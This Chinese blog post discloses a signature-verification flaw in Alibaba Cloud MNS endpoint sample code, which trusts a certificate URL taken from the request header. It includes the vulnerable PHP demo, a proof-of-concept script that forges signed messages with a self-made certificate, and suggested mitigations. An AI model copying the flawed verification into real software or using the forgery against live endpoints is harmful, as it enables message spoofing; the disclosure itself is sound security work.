阿里云MNS安全须知
0x00 背景
最近用了阿里云消息服务中的主题订阅,发现当 MNS 向 Endpoint 投递消息时,当前的签名机制会存在一定的风险
0x01 MNS 签名机制
MNS Endpoint 的签名机制是使用 sha1WithRSAEncryption
对一系列参数签名,Enpoint 接收到请求之后再从 header 里取出相应的参数并校验其签名。
其中 sha1WithRSAEncryption
算法就会用到一张 X509 证书,这个是本次实验的关键。
0x02 Topic Enpoint 代码
先上代码,截止 2019-09-02,这个代码跟官方给出的 demo (https://github.com/aliyun/aliyun-mns-php-sdk/blob/master/Samples/Topic/http_server_sample.php)基本一致:
<?php
$headers = [];
/**
* 获取 HTTP Headers
*/
foreach ($_SERVER as $key => $value) {
if (substr(strtolower($key), 0, 5) == 'http_') {
$headers[
str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))))
] = $value;
}
}
// 有些环境可能无法从 HTTP_CONTENT_TYPE 获得 Content-Type
$headers['Content-Type'] = $_SERVER['CONTENT_TYPE'];
$requestMethod = $_SERVER['REQUEST_METHOD'];
$requestUri = $_SERVER['REQUEST_URI'];
/**
* 获取 x-mns- 开头的 header 信息
*/
$mns = [];
foreach ($headers as $key => $value) {
if (substr(strtolower($key), 0, 5) == 'x-mns') {
$mns[strtolower($key)] = $value;
}
}
ksort($mns);
/**
* 获取消息本体
*/
$msgBody = file_get_contents('php://input');
/**
* 校验消息的 md5 摘要是否跟 header 中的一致
*/
if (md5($msgBody) != base64_decode($headers['Content-Md5'])) {
header('HTTP/1.1 403 Forbidden');
return;
}
/**
* 拼接待签名字符串
*/
$strToSign = "{$requestMethod}\n{$headers['Content-Md5']}\n{$headers['Content-Type']}\n{$headers['Date']}\n";
foreach ($mns as $key => $value) {
$strToSign .= "{$key}:{$value}\n";
}
$strToSign .= $requestUri;
/**
* 取得 X509 证书
*/
$publicKey = file_get_contents(base64_decode($mns['x-mns-signing-cert-url']));
$signature = $headers['Authorization'];
$res = openssl_get_publickey($publicKey);
$result = (bool)openssl_verify($strToSign, base64_decode($signature), $res);
openssl_free_key($res);
if (! $result) {
header('HTTP/1.1 403 Forbidden');
return;
}
/**
* 签名通过,下面可以进行业务逻辑处理了
*/
echo $msgBody;
然后拿官方的 主题HttpEndpoint本地调试工具(这里要吐槽一下这个工具,居然要我用 2.5 以上,3.0 以下的 Python,费了我老大劲才找到一个 Python 2.7 的环境来测试)测试一下上述代码,没问题
0x03 注意!风险出没!
你可能发现了,上面的代码中,我们是从 header 中的 x-mns-signing-cert-url
获取证书的,并且没有对证书的来源做检查,那如果证书不是阿里云的,又或者说,有人伪造了一条消息,他用了自己的证书来对消息进行签名,这是完全可以的?!
0x04 实践是检验真理的唯一标准
我们先在终端中生成 X509 证书:
openssl req -newkey rsa:512 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem
这个时候在当前目录下就会生成 key.pem
和 cert.pem
两个文件,其中 key.pem
是拿来生成签名用的,cert.pem
是拿来校验签名用的(即放到服务器上,其链接就是 x-mns-signing-cert-url
,在本次实验中,我将 cert.pem
放置在了 http://127.0.0.1:9999/cert.pem
)
下面再给出一份用于实验生成签名用的代码(假设命名为 tool.php):
<?php
$msg = '<h1>Hello</h1>';
$mns = [
'x-mns-signing_cert_url' => base64_encode('http://127.0.0.1:9999/cert.pem'),
'x-mns-version' => date('Y-m-d'),
'x-mns-request_id' => md5(time()),
];
ksort($mns);
$contentMd5 = base64_encode(md5($msg));
$contentType = 'text/xml; charset=utf-8';
$requestUri = '/notifications';
$date = gmdate('D, d M Y H:i:s T', time());
$strToSign = "POST\n{$contentMd5}\n{$contentType}\n{$date}\n";
foreach ($mns as $key => $value) {
$strToSign .= "{$key}:{$value}\n";
}
$strToSign .= $requestUri;
$privateKey = file_get_contents(__DIR__ . '/key.pem');
$res = openssl_get_privatekey($privateKey);
$signature = '';
openssl_sign($strToSign, $signature, $res);
// free the key from memory
openssl_free_key($res);
$signature = base64_encode($signature);
var_dump(compact(
'contentMd5', 'contentType', 'msg', 'mns', 'signature', 'date', 'requestUri'
));
执行 php tool.php
,你会得到类似于如下的输出:
array(7) {
["contentMd5"]=>
string(44) "NGIyMTRhNWQ3MWFmZWU2ZjgxOGE1OTlmNDNkYjNlNTY="
["contentType"]=>
string(23) "text/xml; charset=utf-8"
["msg"]=>
string(14) "<h1>Hello</h1>"
["mns"]=>
array(3) {
["x-mns-request_id"]=>
string(32) "b69b355268ea1f55da4540d78e151e29"
["x-mns-signing_cert_url"]=>
string(40) "aHR0cDovLzEyNy4wLjAuMTo5OTk5L2NlcnQucGVt"
["x-mns-version"]=>
string(10) "2019-09-01"
}
["signature"]=>
string(88) "EgH1slsoNewzkR6/BC9ef3yY1mEOJl9yG8LLlXNntMR1dFje9tmC/a2k3X6pwvKarmCzwSUpEaqLPEHtYf/xKw=="
["date"]=>
string(29) "Sun, 01 Sep 2019 16:21:23 GMT"
["requestUri"]=>
string(14) "/notifications"
}
那我们将输出的这些信息 POST 到上面的代码中试试...
真的成功了!
0x05 如何防范?
如果你是开发者,有两种方法可以参考:
- 在代码中检查
x-mns-signing-cert-url
地址是否为阿里云官方的,但截止目前(2019.09.02),阿里云的文档上没有说明这个地址是否固定,以及哪个域名是阿里云官方的,故该方法也达不到 100% 可靠度 - 从业务层去做多一次校验,例如加入随机字符串,然后用一个私有的 key 来对消息本身做签名
如果你是阿里云的技术人员,请考虑以下两点建议:
- 在文档中提示可能的风险
- 修改 demo 中相关代码,以防“拿来主义”直接使用有较高风险的代码
- 将证书的地址固定,并在管理后台告知开发者具体地址
思考:Endpoint 的 URL 和消息的数据结构又不是人人都知道,真的有必要这样多此一举吗?
唔...世界上没有绝对安全的系统,但既然我们知道有可能存在风险,那就有必要去防范它,使它变得更牢固
非常感谢您的提醒,我们会紧急进行优化,感谢!
辛苦!
感谢提醒!